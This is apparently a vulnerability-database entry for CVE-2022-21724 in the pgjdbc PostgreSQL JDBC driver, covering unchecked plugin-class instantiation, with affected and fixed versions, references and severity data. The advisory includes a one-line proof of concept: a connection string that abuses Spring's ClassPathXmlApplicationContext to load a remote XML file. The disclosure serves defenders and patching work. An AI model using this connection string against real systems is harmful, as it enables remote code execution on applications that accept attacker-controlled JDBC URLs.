pgjdbc Does Not Check Class Instantiation when providing Plugin Classes
Impact
pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.
However, the driver did not verify if the class implements the expected interface before instantiating the class.
Here's an example attack using an out-of-the-box class from Spring Framework:
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");
The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Java / Kotlin (Maven) | org.postgresql:postgresql | >= 9.4.1208, < 42.2.25, >= 42.3.0, < 42.3.2 | 42.2.25, 42.3.2 |
References
- https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-v7wg-cpwc-24m4
- https://nvd.nist.gov/vuln/detail/CVE-2022-21724
- https://github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813
- https://github.com/pgjdbc/pgjdbc
- https://lists.debian.org/debian-lts-announce/2022/05/msg00027.html
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BVEO7BEFXPBVHSPYL3YKQWZI6DYXQLFS
- https://security.netapp.com/advisory/ntap-20220311-0005
- https://www.debian.org/security/2022/dsa-5196
- CVSS vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-665, CWE-668, CWE-74- Platform
- Java / Kotlin (Maven)
- Package
org.postgresql:postgresql- Disclosed
- 02.02.2022
- Updated
- 11.10.2026 13:19
Sources and licenses
OSV / GitHub Advisory Database - GHSA-v7wg-cpwc-24m4 - CC BY 4.0
Vulnerability history: org.postgresql:postgresql
All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 10
- First → latest
- 02.2022 07.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 7
- Medium 2
Disclosures per year
- 2022: 6
- 2023: 0
- 2024: 1
- 2025: 1
- 2026: 2
-
pgjdbc Does Not Check Class Instantiation when providing Plugin Classes this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.